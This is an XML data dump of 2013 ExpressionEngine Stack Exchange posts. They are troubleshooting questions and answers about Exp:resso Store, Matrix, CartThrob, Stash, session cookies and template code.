  <row Id="8812" PostTypeId="1" AcceptedAnswerId="8853" CreationDate="2013-03-28T17:51:27.860" Score="1" ViewCount="116" Body="&lt;p&gt;EE 2.5.5, &#xA;Exp:resso Store 1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Store Product Details field works fine in the Control Panel, but when using it in a SafeCracker form, I get the following javascript error (from themes/thirdparty/store/cp.min.js):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'sortable' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the template code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;signups&quot; entry_id=&quot;18&quot; return=&quot;foobar&quot; }&#xA;    {field:product_details}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I should be doing to get Store to work with SafeCracker?&lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="150" LastEditDate="2013-03-30T07:51:37.587" LastActivityDate="2013-03-30T07:55:08.667" Title="Javascript error when using Exp:resso Store in a Safecracker entry form" Tags="|expresso-store|safecracker|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8813" PostTypeId="1" AcceptedAnswerId="8816" CreationDate="2013-03-28T17:58:20.453" Score="3" ViewCount="388" Body="&lt;p&gt;I'm thinking of using Exp:resso Store for my client's site, and I'm thinking of using PayPal Express Checkout as the payment gateway. Can anyone please shed some light on how these two work together? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I enter my API Signature so Store can connect to PayPal? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What details do I have to send to PayPal? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do users have to log in to a PayPal account before they can confirm their purchase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, sorry for being clueless!&lt;/p&gt;&#xA;" OwnerUserId="1259" LastActivityDate="2013-03-28T20:11:31.780" Title="Exp:resso Store and PayPal Express" Tags="|expresso-store|paypal|payment-gateway|paypal-express-checkout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8814" PostTypeId="2" ParentId="8808" CreationDate="2013-03-28T18:15:11.587" Score="1" Body="&lt;p&gt;There's nothing in terms of template tags that will output modified date-time to grab on to as far as I know but there is a useful hook (&lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_cart_update_end&quot; rel=&quot;nofollow&quot;&gt;store_cart_update_end&lt;/a&gt;) provided which will give you something to work with to grab the current date and time and output that to the template file (hidden). This will give you something to grab hold of client-side with AJAX.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T18:15:11.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8815" PostTypeId="1" CreationDate="2013-03-28T20:00:34.240" Score="3" ViewCount="1023" Body="&lt;p&gt;I got a weird one here, so I don't expect an exact answer, but more of a pointer in the right direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a site and everything works as expected on my local server, but when I move it to staging server, images in a file Matrix column don't &quot;stick&quot; so to speak. When I create the entry, everything is normal, it actually seems to populate the DB since the entry appears on the site just fine, including the images, but when I go back and try to edit that same entry, the images are gone from the Matrix field (and not from plain old file fields). If I save the entry again, the images don't show up anymore on the site so it's not a problem of thumbnails not showing up on the publish page… Matrix seems to not be able to tell that images are in that field and they show up as empty on the publish page even though the images show up on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference I can think of is the server's setup. My local MAMP which works fine runs PHP 5.3.14. The server where Matrix doesn't work runs PHP 5.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site runs on EE v2.3.1 + Matrix 2.2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned before, any pointer in the right direction would be more than enough. I just don't even know where to start to troubleshoot… Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1260" LastActivityDate="2014-04-16T20:50:41.370" Title="Images disappearing from Matrix field" Tags="|matrix|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostTypeId="2" ParentId="8813" CreationDate="2013-03-28T20:11:31.780" Score="1" Body="&lt;p&gt;Paypal Express is fully supported by Store. Once you have Store installed you'll see it in the main menu in the EE control panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Store &gt; Settings &gt; Payment methods and then &quot;Add Payment Method&quot;. From the &quot;Payment Plugin&quot; dropdown select &quot;Paypal Express&quot;. You'll then be asked for your username, password, and signature, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z57T9.png&quot; alt=&quot;see screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of details you need to send to paypal, that will all be handled by Store in the checkout process. If will pass on the fields included in exp:store:checkout so it's all done for you in that respect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Paypal Express &lt;em&gt;does&lt;/em&gt; require the user to have a Paypal account but I think &lt;a href=&quot;https://stackoverflow.com/questions/7689640/paypal-express-checkout-pay-without-account&quot;&gt;there is a way around it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-03-28T20:11:31.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8817" PostTypeId="2" ParentId="8815" CreationDate="2013-03-28T20:18:51.627" Score="0" Body="&lt;p&gt;Have you doubled-checked that in the Fields for your channel that you have File selected as the fieldtype for Matrix and have set which directory it's allowed to access and which file type (image/all) are allowed to be posted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that I'd try and synchronise your image upload directories in File Manager &gt; File Upload Preferences. Also ensure that paths and permissions are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that yield?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T20:18:51.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8818" PostTypeId="1" AcceptedAnswerId="8819" CreationDate="2013-03-28T20:26:24.000" Score="2" ViewCount="256" Body="&lt;p&gt;How can I grab store's shipping country options in a template without a store tag? I would like to use them in a custom signup form.&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorUserId="779" LastEditDate="2013-04-01T09:23:29.313" LastActivityDate="2013-04-01T12:39:54.027" Title="Exp-resso Store: Shipping Country Options" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8819" PostTypeId="2" ParentId="8818" CreationDate="2013-03-28T20:46:12.860" Score="3" Body="&lt;p&gt;Store wont support that natively as far as I know but I'd personally look to use &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to set a variable and then call it either elsewhere in that template or carry across to other templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the variable is as pretty much as simple as &lt;code&gt;{exp:stash:set}&lt;/code&gt; giving it a name and setting a few specific options, and then calling it with &lt;code&gt;{exp:stash:get}&lt;/code&gt;. It's incredibly versatile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;    ...&#xA;&#xA;    {!-- Set the variable --}&#xA;    {exp:stash:set name=&quot;shipping_methods&quot; save=&quot;yes&quot;}{field:shipping_method}{/exp:stash:set}&#xA;&#xA;    ...&#xA;{/exp:store:checkout}&#xA;&#xA;{!-- Get the variable outside of the Store tags --}&#xA;{exp:stash:get name=&quot;shipping_methods&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Updated example to include save=&quot;yes&quot; to demonstrate how to carry variable through to other template files. &lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-01T12:39:54.027" LastActivityDate="2013-04-01T12:39:54.027" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="2" ParentId="8815" CreationDate="2013-03-28T20:52:27.400" Score="1" Body="&lt;p&gt;First, updating EE and Matrix is the first step  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you seeing those entries in the exp_matrix tables? Before and after? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly, do you see any JS errors in your browser dev console? &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-28T20:52:27.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="2" ParentId="8818" CreationDate="2013-03-28T21:42:49.207" Score="2" Body="&lt;p&gt;You can also use the Query Module to grab the available regions are.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;{exp:query sql=&quot;SELECT * FROM exp_store_regions WHERE site_id = '1' GROUP BY country_code&quot;}&#xA;&amp;lt;option value=&quot;{region_code}&quot;&amp;gt;&#xA; {region_name}&#xA;&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-28T21:42:49.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="2" ParentId="8795" CreationDate="2013-03-28T22:43:26.217" Score="1" Body="&lt;p&gt;Turns out it wasn't that hard after all. Here's the query if anyone's interested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO exp_assets_selections (file_id, entry_id, field_id, col_id, row_id)&#xA;SELECT af.file_id, md.entry_id, 60, 5, md.row_id&#xA;FROM exp_matrix_data md&#xA;INNER JOIN exp_assets_files af&#xA;  WHERE INSTR(md.col_id_5, af.file_name) &amp;gt; 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-28T22:43:26.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostTypeId="1" CreationDate="2013-03-28T23:02:52.037" Score="1" ViewCount="108" Body="&lt;p&gt;I am looking to integrate EE with the WorkflowMax (SAS project management software, via their API). The idea was to collect leads directly into Workflow max when someone requests a callback, as this is the CRM for the business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use FreeFormPro to setup these enquiry forms etc. Should I do this first, and fine tune all our forms, then get the plugin developed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also planning on using Freeform to add people to our CampaignMonitor mailing list, for those who arent enquiring but just want to get the newsletter (people we no very little about).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I still be able to use FreeFormPro once we connect to Workflowmax- not sure how all this works together. Thanks&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-09-25T11:46:36.190" Title="ExpressionEngine and WorkflowMax" Tags="|solspace-freeform|campaignmonitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostTypeId="1" AcceptedAnswerId="8832" CreationDate="2013-03-28T23:37:03.713" Score="4" ViewCount="2545" Body="&lt;p&gt;I keep getting logged out of the control panel while I'm working in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &lt;em&gt;Admin &gt; Security &amp;amp; Privacy &gt; Security and Session Preferences&lt;/em&gt;, I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Control Panel Session Type:&lt;/strong&gt; Cookies &amp;amp; Session ID&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Require IP Address and User Agent for Login?&lt;/strong&gt;: Yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried clearing my cookies - didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;em&gt;Require IP Address and User Agent for Login?&lt;/em&gt; to &quot;no&quot; - didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;em&gt;Control Panel Session Type&lt;/em&gt; to &quot;cookies only&quot; - didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else should I try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-06-18T16:03:31.187" Title="Keep Getting Logged Out of Control Panel" Tags="|control-panel|sessions|cookies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="1" CreationDate="2013-03-29T00:20:12.093" Score="1" ViewCount="93" Body="&lt;p&gt;Having the same issue as in this thread: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7527/console-error-with-assets-when-attempting-to-index-amazon-s3-folder/7569#7569&quot;&gt;Console Error with Assets when Attempting to Index Amazon S3 folder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to update the index for an S3 source, getting the following error in the Firebug console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;missing ) in parenthetical&#xA;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&#xA;assets.js?2.0.5 (line 5626, col 11)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was working fine until recently adding additional folders within an S3 bucket. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: 04/01/2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue ended up being an NAT issue with the Amazon cloud server, which is behind a firewall. It was blocking all outgoing requests. This is what was causing the JS errors I'm assuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered this by editing my S3 source and trying to refresh the bucket list. Eventually I got the following error message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Access denied by target host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1033" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-30T12:44:34.090" Title="S3 Index Javascript Errors" Tags="|assets|s3|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8830" PostTypeId="2" ParentId="8825" CreationDate="2013-03-29T00:35:55.880" Score="1" Body="&lt;p&gt;In addition, I've been adding the following to my config file (based on someone else's recommendation):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 14400;&#xA;$config['user_session_ttl'] = 3600;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-03-29T00:35:55.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="2" ParentId="8825" CreationDate="2013-03-29T02:17:30.013" Score="1" Body="&lt;p&gt;I experienced logouts while &lt;strong&gt;working with multiple tabs&lt;/strong&gt; (sometimes up to 10 for different templates etc.). It seems that your session times out if one of the tabs &quot;times out&quot;. &lt;/p&gt;&#xA;" OwnerUserId="1231" LastActivityDate="2013-03-29T02:17:30.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostTypeId="2" ParentId="8825" CreationDate="2013-03-29T03:41:52.910" Score="2" Body="&lt;p&gt;The main suggestion I have is setting a value for the cookie prefix and seeing if that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually had a similar problem to this on ONE site that was configured seemingly identically to some of my others, but this exact thing happened to me. This set of config items added to my main config.php seemed to alleviate it for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;someprefix&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;;&#xA;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The secure forms bit in particular seems to be what was causing trouble for that site, despite completely wiping out the EE core and starting fresh, though I couldn't tell you why. Probably some legacy garbage hanging around in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous suggestion about setting configurations for the session ttl values may work also.&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2013-03-29T03:41:52.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="2" ParentId="8815" CreationDate="2013-03-29T05:53:29.547" Score="0" Body="&lt;p&gt;Do all the files disappear, or just some? Do the file names contain any foreign/weird characters? Have you tried deleting and re-uploading the files to the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an issue where a single file kept disappearing from Publish page AND from the site. Every time I modified the entry I added the file, every time I saved it the file was gone. My quick troubleshoot lead me to rename and re-upload the file in question. It was a dwg file with ä and ö characters in its name. After changing those to a and o the problem went away. I never had the time to double check that those characters were really the issue, but Matrix nor Assets upgraded didn't help, renaming and re-uploading did.&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-03-29T05:53:29.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostTypeId="2" ParentId="8824" CreationDate="2013-03-29T08:24:19.883" Score="1" Body="&lt;p&gt;You should approach a developer and see how they want to go about the integration. It depends on many things, such as the Workflowmax API etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would say it is probably possible to collect responses using Freeform, then use one of their extension hooks to submit this to Workflowmax. The other option would be for your developer to create a plugin which submits the data directly to workflowmax, without going through Freeform - there are pros and cons to each strategy.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-29T08:24:19.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="1" AcceptedAnswerId="8836" CreationDate="2013-03-29T09:58:56.003" Score="0" ViewCount="46" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zSU8F.png&quot; alt=&quot;Etention installation&quot;&gt;&#xA;Hi&#xA;I'm trying to install Cartthrob &#xA;I have Extension enabled &#xA;But still carthrob is asking for extension to be installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else i need to check for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm testing this on ee 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-03-29T12:55:34.333" Title="Installing Extention Cartthrob" Tags="|cartthrob|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8836" PostTypeId="2" ParentId="8835" CreationDate="2013-03-29T10:33:24.277" Score="1" Body="&lt;p&gt;It is not asking you to install it, it is telling you that the extension is going to be installed automatically with the module. In previous versions of EE you could sometimes install a module without installing the extension which would cause problems. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-29T10:33:24.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostTypeId="2" ParentId="8812" CreationDate="2013-03-29T10:56:33.183" Score="3" Body="&lt;p&gt;Are you including your own version of jQuery by chance? This error looks like store is looking for jQuery UI Sortable and it's not present on the jQuery object, which can happen if: you load jQuery, plugins, then load jQuery again, thus overriding the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable safecracker's auto jQuery load: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#include-jquery&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#include-jquery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-03-29T10:56:33.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8838" PostTypeId="2" ParentId="7747" CreationDate="2013-03-29T11:09:00.097" Score="1" Body="&lt;p&gt;Was a serverside issue, host made updates on server, so therefore stopped from working.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-29T11:09:00.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8839" PostTypeId="1" AcceptedAnswerId="8872" CreationDate="2013-03-29T11:14:55.700" Score="1" ViewCount="49" Body="&lt;p&gt;I have been searching for solution to show EXIF infos on images on my forums. I found so far only VZ Exif that is EE2-ready, but didnt manage to make it work with forums, even that i run my forums via regular template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can someone guide me, or give a helping hand, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-31T19:03:01.023" Title="VZ Exif - has someone used this on forums?" Tags="|image|forum|attachment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostTypeId="2" ParentId="7733" CreationDate="2013-03-29T11:18:54.640" Score="0" Body="&lt;p&gt;Using Cometchat in my site forums now with success. So i think i can give a positive &quot;thumbs up&quot; to this software, even tho it has been online only 24 hours so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i think that this is a low-cost solution for rapid chatting for logged in users, and more. (there is guest chat available but i dont find that very usefull).&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-03-29T11:18:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8841" PostTypeId="1" AcceptedAnswerId="8856" CreationDate="2013-03-29T11:26:42.670" Score="1" ViewCount="237" Body="&lt;p&gt;In this case I'm using switchee to test if a product exists in a cartthrob order (could be 1 item or 100 in the order) and should a particular product be found then load a snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is the test continues running for all items in the cart, spitting out multiple snippets if the condition is met more then once, obviously. You could replace cartthrob data with channel:entries data and same behaviour persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suppose I'm asking is there someway with switchee or normal if syntax to exit when any condition is met?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am already using stash which may be useful but at a bit of a loss ATM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE#1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;{switchee variable=&quot;{channel}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;event&quot;}{!-- There is an event, look it up and show results --}&#xA;        &amp;lt;div class=&quot;upsell upsell-item&quot;&amp;gt;&#xA;            {stash:embed:upsell:emb_get_upsell stash:entryid=&quot;{entry_id}&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;} {!-- If no event exists then add generic upsell snippet --}&#xA;        &amp;lt;div class=&quot;upsell upsell-item&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Need a generic products upsell here&amp;lt;/p&amp;gt;&#xA;        {stash:embed:upsell:emb_generic_upsell}    &#xA;        &amp;lt;/div&amp;gt;&#xA;    {/case}&#xA;{/switchee}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at that code, I can see why it's repeating and adding multiple, what I really want is to look through all :cart_items_info &amp;amp; if an event IS found, load the desired snippet and EXIT OR if no event exists then load generic snippet AND exit.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-03-30T06:51:35.760" LastActivityDate="2013-03-30T13:50:10.433" Title="Exit if condition found - updated" Tags="|cartthrob|stash|switchee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8842" PostTypeId="2" ParentId="8835" CreationDate="2013-03-29T12:55:34.333" Score="0" Body="&lt;p&gt;You might have extensions disabled globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look underAdd-ons &gt; Extensions, then look at the top right for an &quot;Enable Extensions&quot; button. If the button already says &quot;Disable Extensions&quot;, then this isn't the problem.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-29T12:55:34.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8843" PostTypeId="2" ParentId="7723" CreationDate="2013-03-29T16:30:17.427" Score="0" Body="&lt;p&gt;Looks like it was an issue with the Backup proish DB. &#xA;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-03-29T16:30:17.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="1" AcceptedAnswerId="8846" CreationDate="2013-03-29T16:35:52.963" Score="1" ViewCount="343" Body="&lt;p&gt;I am using this code which I thought was right.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;work&quot; search_in=&quot;everywhere&quot; role=&quot;search&quot; id=&quot;search-form&quot;}&#xA;                  &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;search&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;s&quot; id=&quot;search&quot; title=&quot;Enter keyword&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;submit&quot; id=&quot;search-submit&quot; title=&quot;Search it&quot; value=&quot;→&quot;&amp;gt;&#xA;                {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I get an error (see attached). Does anyone have any ideas to what I am doing wrong in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HDUuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2014-06-05T08:39:48.080" Title="Simple Search Form" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostTypeId="1" AcceptedAnswerId="8899" CreationDate="2013-03-29T16:51:23.697" Score="1" ViewCount="465" Body="&lt;p&gt;Software Versions:&#xA;EE 2.5.2&#xA;Matrix 2.5.3&#xA;Matrix Multi-Upload Accessory is version 1.1.1 but the module says version 0.9.1(downloaded today from github)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to upload fine thru Matrix, but not with Matrix Multi-Upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files never fully upload with FF 19.0.2 on a Mac. They get to some random % and then show a little yield sign icon for HTTP Error and the files never make it to the server. In Safari they actually get to 100% but with the same yield icon. There are no javascript errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the absolute server path which starts with &quot;/home/content/d/m/h/&quot; so that shouldn't be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-04-02T01:34:37.487" Title="Unable to upload files with Matrix Multi-Upload" Tags="|matrix|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostTypeId="2" ParentId="8844" CreationDate="2013-03-29T17:48:39.390" Score="3" Body="&lt;p&gt;Only certain &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#input-fields&quot; rel=&quot;nofollow&quot;&gt;input fields&lt;/a&gt; are supported and if you're using keywords for example then you need to ensure that the name attribute is set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should yield some results.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-06-05T08:39:48.080" LastActivityDate="2014-06-05T08:39:48.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="2" ParentId="7567" CreationDate="2013-03-29T17:59:42.130" Score="1" Body="&lt;p&gt;Turns out the UPS api calculates everything as a single shipment - as they would expect you to ship multiple items in one box.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-03-29T17:59:42.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8848" PostTypeId="1" CreationDate="2013-03-29T18:58:52.577" Score="1" ViewCount="58" Body="&lt;p&gt;Since I was planning to have &quot;You have # items in the cart&quot;.&#xA;Is it possible to get the number of items in the cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;&#xA;You have {if no_items}0{if:else}{items}{/if} item(s) in the cart &#xA;&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1263" LastActivityDate="2013-03-30T07:04:09.480" Title="Number of Items in the shipping cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
